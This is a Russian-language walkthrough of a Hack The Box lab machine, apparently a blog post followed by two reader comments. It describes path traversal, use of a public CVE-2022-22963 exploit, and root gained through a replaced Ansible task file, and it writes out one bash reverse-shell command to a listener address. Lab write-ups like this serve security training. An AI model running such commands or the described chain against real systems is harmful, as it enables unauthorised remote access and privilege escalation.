Дисклеймер
Привет дорогой хтбшник) Перед прочтением статьи хотел попросить не судить мой разбор строго, так как это первая моя статья посвященная разбору машин HTB.
Всем желаю хорошего прочтения)
Получение флага user.txt
При сканировании видим открытый 8080 порт
Перейдем на сайт по открытому 8080 порту
Кнопки регистрации, авторизации, а также "Start Now" не рабочие
Нас интересует вкладка "Upload"
Перейдя по ней мы видим страницу следущего содержания
Она позволяет загружать фалы только с расширением, которые могут быть у изображений
Загрузим какое-нибудь изображение и посмотрим, что из этого выйдет
Загрузив изображение он предлагает нам на него посмотреть перейдя по ссылке
Перейдя по указанной ссылке мы видим загруженное нами ранее изображение
Но в данном случае нас интресует непосредственно сам ориджин
Из него видно, что для получения изображения мы должны указать его название в параметре img на вкладке show_image
Перейдем в burp и попробуем атаку path traversal
Повезло, нагрузку получилось перебрать руками, так как оказалась очень простой
Видим логины пользователей
Посмотрев их домашние директории видим, что флаг user.txt находится в домашней директории пользователя phil
Большего через path traversal мы не добьемся
Нужно узнать что за сервис висит на данном порту
Получим его баннер
Поискав эксплоит в интернете находим рабочий PoC для CVE-2022-22963
Проверяем PoC и видим, что получилось создать файл в директории /tmp
Создадим sh файл для получения шелла через netcat
Доставляем файл через http python сервер
Файл улетел на сервер
Открываем netcat лисенер на нашем хосте
Дадим права на выполнение скрипта
Запускаем скрипт и получаем шелл
Посмотрев, что у него в директории, видим скрытую папку .m2
В ней лежит файл setting.xml
Прочитав его видим пароль от пользователя phil
Получаем шелл пользователя phil
И забираем флаг
Получение флага root.txt
Перейдем в папку с файлом который подгружается рутовым процессом
Поискав немного в интернете находим, что можно подменить данный файл для повышения привелегий
Для этого создаем у себя на хосте файл такого содержания
Подгружаем его командой curl, через пользователя phil, в директорию /opt/automation/tasks/ и даем ему любое название, но с расширением .yml
После открывем netcat лисенер на нашей машине
От пользователя phil создаем sh файл следующей командой
echo '/bin/bash -i >& /dev/tcp/адрес_лисенера/3434 0>&1' > /tmp/root.sh
Затем необходимо выволнить перезагрузку ansible-playbook с указанием нашего файла
Ура! Мы получили root права. С радостью забираем флаг и бежим его сдавать.
Всем желаю больше побед и успехов в решении подобных заданий!
QtRoS
Первая мысль:
Hidden text
Хоть бы слово на русском добавили или какую-то логическую связность на английском :) Воспринимается как набор слов.
uhahatbl_tv Автор
Немного поспешил)
Уже исправил)